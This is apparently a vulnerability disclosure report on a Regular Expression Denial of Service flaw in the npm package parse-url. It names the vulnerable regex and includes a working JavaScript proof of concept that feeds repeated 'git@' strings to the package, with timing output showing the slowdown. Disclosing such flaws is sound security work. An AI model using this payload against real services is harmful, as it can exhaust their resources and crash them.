Description

I would like to report a Regular Expression Denial of Service (ReDoS) vulnerability in parse-url.

It allows cause a denial of service when calling function parse-url.

The ReDoS vulnerability is mainly due to the regex /((git@|http(s)?:\/\/)([\w\.@]+)(\/|:))(([\~,\w,\-,\_,\/]+)(.git){0,1}((\/){0,1}))/ and can be exploited with the following code.

Proof of Concept

// PoC.js
const parseUrl = require("parse-url");
for (var i = 1; i <= 1000; i++) {
    var time = Date.now();
    var attack_str = 'git@'.repeat(i*10000)
    parseUrl(attack_str);
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms")
}

The Output

"attack_str.length: 40000: 837 ms"
"attack_str.length: 80000: 2882 ms"
"attack_str.length: 120000: 6336 ms"
"attack_str.length: 160000: 11260 ms"
"attack_str.length: 200000: 17929 ms"

Impact

This vulnerability is capable of exhausting system resources and leads to crashes.